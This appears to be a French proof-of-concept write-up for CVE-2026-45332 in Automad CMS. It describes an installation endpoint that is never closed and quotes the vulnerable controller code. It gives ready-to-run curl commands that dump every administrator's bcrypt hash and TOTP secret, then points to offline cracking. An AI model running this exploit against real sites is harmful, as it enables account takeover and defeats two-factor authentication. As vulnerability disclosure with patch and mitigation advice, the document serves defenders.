
Preuve de concept pour CVE-2026-45332, un contrôle d'accès défaillant dans Automad CMS permettant le dump non authentifié des hachages bcrypt administrateurs et des secrets TOTP.
Preuve de concept pour CVE-2026-45332, une vulnérabilité de contrôle d'accès défaillant dans Automad CMS qui permet à tout attaquant non authentifié de récupérer le hash bcrypt du mot de passe et le secret TOTP de chaque compte administrateur via le point de terminaison d'installation, qui n'est jamais désactivé après la configuration initiale.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-45332 |
| GHSA | GHSA-xm76-r88j-vm3g |
| Produit | Automad CMS (compositeur automad/automad) |
| Versions affectées | >= 2.0.0-alpha.1, <= 2.0.0-beta.27 |
| Version corrigée | 2.0.0-beta.28 |
| CVSS 3.1 | 7.5 Élevé (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-200 (Exposition d'informations sensibles), CWE-306 (Absence d'authentification pour une fonction critique) |
| Chercheur | Lorenzo Camilli |
Automad est un CMS PHP basé sur des fichiers. Le point de terminaison d'installation responsable de la création du premier compte administrateur, /_api/user-collection/create-first-user, est enregistré comme une route API publique permanente. Aucune protection ne le ferme une fois la configuration initiale terminée.
Sur une instance en ligne entièrement configurée, un POST non authentifié vers ce point de terminaison charge l'ensemble de la base de données utilisateurs depuis le disque et la renvoie, sérialisée, dans le corps de la réponse JSON, y compris :
2.0.0-beta.27)Aucun compte préalable, identifiants ou position réseau spéciale n'est requis.
La route est placée dans le tableau $publicAPIRoutes dans automad/src/server/Routes.php et enregistrée sous la condition AM_PAGE_DASHBOARD, une constante qui s'évalue à la chaîne '/dashboard' et est donc toujours vraie. La route reste enregistrée sur chaque installation, y compris après la fin de l'installation.
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // charge TOUS les utilisateurs existants depuis le disque
// ...
$php = $UserCollection->generatePHP(); // sérialise chaque utilisateur, y compris les hashs
return $Response->setData(array(
'php' => $php, // les hashs des identifiants sont retournés dans la réponse
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // chemin absolu divulgué
));
}
User::__serialize() inclut les champs privés passwordHash et totpSecret, donc ils se retrouvent intégrés dans la sortie sérialisée renvoyée à l'appelant.
Article technique complet : PoC.md.
Le point de terminaison nécessite un jeton CSRF valide et un cookie de session Automad, tous deux librement obtenables depuis la page de connexion publique. Reproduction :
# 1. Récupérer un cookie de session et le jeton CSRF depuis la page de connexion publique
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=<meta name="csrf" content=")[^"]+')
# 2. Extraire le magasin d'identifiants
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
--data-urlencode "__csrf__=$CSRF" \
--data-urlencode 'username=dummy' \
--data-urlencode 'password1=AnyPassword1!' \
--data-urlencode 'password2=AnyPassword1!' \
--data-urlencode '[email protected]' | jq .
La réponse contient le hash bcrypt et le secret TOTP de chaque administrateur enregistré, ainsi que le chemin de configuration absolu :
{
"code": 200,
"data": {
"php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
Les hashs bcrypt peuvent ensuite être craqués hors ligne (Hashcat / John). Sur 2.0.0-beta.27, le secret TOTP divulgué contourne complètement l'authentification à deux facteurs.
Un attaquant distant non authentifié peut :
2.0.0-beta.27).Mettre à jour vers Automad 2.0.0-beta.28 ou version ultérieure, qui restreint le point de terminaison une fois l'installation initiale terminée. Comme mesure d'atténuation temporaire, bloquer les requêtes vers /_api/user-collection/create-first-user au niveau du serveur web ou du WAF.